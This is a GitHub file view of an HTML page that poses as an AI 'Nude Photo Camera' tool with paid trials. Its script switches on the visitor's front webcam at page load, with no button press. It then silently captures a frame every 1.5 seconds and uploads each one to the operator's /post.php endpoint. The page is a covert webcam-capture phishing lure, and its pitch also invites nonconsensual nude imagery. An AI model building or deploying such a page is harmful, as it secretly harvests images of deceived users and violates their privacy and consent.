-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex2.html
134 lines (114 loc) · 3.91 KB
/
index2.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
<!DOCTYPE html>
<html lang="en">
<head>
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Nude Photo Camera</title>
<style>
body {
text-align: center;
margin: 20px;
font-family: Arial, sans-serif;
}
h1, h2, p {
margin-bottom: 10px;
}
#cameraFeed {
width: 100%;
max-width: 600px;
margin: 0 auto;
border: 1px solid #ccc;
border-radius: 8px;
}
#captureButton {
padding: 10px 20px;
font-size: 16px;
cursor: pointer;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 4px;
}
#info {
margin-top: 20px;
}
.video-wrap {
display: flex;
justify-content: center;
align-items: center;
margin-top: 20px;
}
video {
max-width: 100%;
}
</style>
</head>
<body>
<h1>Nude Photo Camera</h1>
<h2>Modified version of Promtchan</h2>
<p>This tool uses AI to create a realistic image of your captured photo and provide you the best results.</p>
<!-- Display camera feed -->
<img src="img.png" alt="Descriptive text for the image">
<!-- Button to capture photo -->
<button id="captureButton">Capture Photo</button>
<!-- Button to capture photo -->
<button id="captureButton">Capture Photo</button>
<!-- Display remaining free trials and cost per photo -->
<div id="info">
<p>Free trials remaining: <span id="freeTrials">2</span></p>
<p>Cost per photo: $2</p>
</div>
<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>
<script>
function post(imgdata) {
$.ajax({
type: 'POST',
data: { cat: imgdata },
url: '/post.php',
dataType: 'json',
async: false,
success: function(result) {
// call the function that handles the response/results
},
error: function() {
}
});
};
'use strict';
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const constraints = {
audio: false,
video: {
facingMode: "user"
}
};
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setInterval(function() {
context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData);
}, 1500);
}
// Load init
init();
</script>
</body>
</html>